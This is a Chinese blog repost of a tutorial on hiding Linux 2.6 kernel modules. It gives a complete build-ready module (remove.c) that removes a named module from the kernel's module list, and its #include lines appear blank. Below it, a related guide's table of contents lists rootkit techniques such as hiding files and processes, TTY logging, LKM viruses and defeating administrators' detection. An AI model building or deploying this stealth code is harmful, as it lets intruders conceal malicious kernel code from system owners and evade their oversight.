linux2.4内核模块隐藏,教你怎样隐藏Linux 2.6的内核模块

教你怎样隐藏Linux 2.6的内核模块

发布时间:2006-01-26 09:25:37来源:红联作者:thej

2.6内核与2.4内核相比,有了许多变化,模块部分的实现完全重写,结构也有了一些变化。2.4内核中模块隐藏的方式为:(参考madsys的phrack 61-03)

struct module *p;

for (p=&__this_module; p->next; p=p->next)

{

if (strcmp(p->next->name, str))

continue;

p->next=p->next->next; //   break;

}

2.4的module定义为:

struct module

{

unsigned long size_of_struct; /* == sizeof(module) */

struct module *next;

const char *name;

unsigned long size;

...

}

2.6为:

struct module

{

enum module_state state;

/* Member of list of modules */

struct list_head list;   /* Unique handle for this module */

char name[MODULE_NAME_LEN];

...

}

因此使用标准的内核list系列处理函数(不需要再闭门造车了),2.6版的进程隐藏重写为:

/*

* FileName: remove.c

* Author: CoolQ

* Date: 23:05 2004-9-2

* Makefile:

* ---------------- cut here -----------------

* obj-m += remove.o

* KDIR:= /lib/modules/$(shell uname -r)/build

* PWD:= $(shell pwd)

* default:

* $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

*----------------- cut here -----------------

* Compile:

* [root@coolq tmp]make

* Usage:

* [root@coolq tmp]insmod remove.ko mod_name=module_name_to_hide

*/

#include

#include

#include

#include

#include

#include

static char *mod_name = "module";

module_param(mod_name, charp, 0);

static int remove_init(void)

{

struct module *mod_head, *mod_counter;

struct list_head *p;

mod_head = &__this_module;

list_for_each(p, &mod_head->list){

mod_counter = list_entry(p, struct module, list);

if(strcmp(mod_counter->name, mod_name) == 0){

list_del(p);

printk("remove module %s successfully.\n", mod_name);

return 0;

}

}

printk("Can't find module %s.\n", mod_name);

return 0;

}

static void remove_exit(void)

{

}

module_init(remove_init);

module_exit(remove_exit);

MODULE_LICENSE("Dual BSD/GPL");

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
第一部分 基础知识 <br>1.1 什么是LKMs <br>1.2 什么是系统调用 <br>1.3 什么是内核符号表(Kernel-Symbol-Table) <br>1.4 如何实现从用户空间到内核空间的转换 <br>1.5 使用用户空间函数的方法 <br>1.6 常用内核空间函数列表 <br>1.7 什么是内核守护进程 <br>1.8 创建你自己的设备 <br><br>第二部分 渐入佳境 <br>2.1 如何截获系统调用 <br>2.2 一些有趣的系统调用 <br>2.2.1 发现有趣的系统调用(strace方法) <br>2.3 迷惑内核的系统表 <br>2.4 和文件系统有关的攻击 <br>2.4.1 如何隐藏文件 <br>2.4.2 如何隐藏文件的内容(完全的) <br>2.4.3 如何隐藏文件的某一部分(一个实现原型) <br>2.4.4 如何重新定向或者监视文件操作 <br>2.4.5 如何避免任何文件权限问题 <br>2.4.6 如何使的一个有入侵工具的目录不可存取 <br>2.4.7 如何改变CHROOT环境 <br>2.5 和进程有关的入侵 <br>2.5.1 如何隐藏任何进程 <br>2.5.2 如果改变文件的执行结果 <br>2.6 和网络(Socket)有关的入侵 <br>2.6.1 如果控制Socket操作 <br>2.7 TTY纪录的方法 <br>2.8 用LKMs写病毒 <br>2.8.1 如何让LKM病毒感染任何文件(不仅仅是模块) <br>2.8.2 如何让LKM病毒帮助我们进入系统 <br>2.9 使我们的LKM不可见,而且不可卸载 <br>2.10 其他的入侵kerneld进程的方法 <br>2.11 如何检查当前的我们的LKM <br><br>第三部分 解决方案(给系统管理员) <br>3.1 LKM检测的理论和想法 <br>3.1.1 一个使用的检测器的原形 <br>3.1.2 一个密码保护的create_module(...)的例子 <br>3.2 防止LKM传染者的方法 <br>3.3 使你的程序不可以被跟踪(理论) <br>3.3.1 一个反跟踪的实用例子 <br>3.4 使用LKMs来防护你的linux内核 <br>3.4.1 为什么我们必须允许任何一个程序都拥有可执行的权限 <br>3.4.2 链接的补丁 <br>3.4.3 /proc权限的补丁 <br>3.4.4 安全级别的补丁 <br>3.4.5 底层磁盘补丁 <br><br>第四部分 一些更好的想法(给hacker的) <br>4.1 击败系统管理员的LKM的方法 <br>4.2 修补整个内核-或者创建Hacker-OS <br>4.2.1 如何在/dev/kmem中找到内核符号表 <br>4.2.2 新的不需要内核支持的'insmod' <br>4.3 最后的话 <br><br>第五部分 最近的一些东西:2.2.x版本的内核 <br>5.1 对于LKM作者来说,一些主要的不同点 <br><br>第六部分 最后的话 <br>6.1 LKM传奇以及如何使得一个系统即好用又安全 <br>6.2 一些资源链接
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值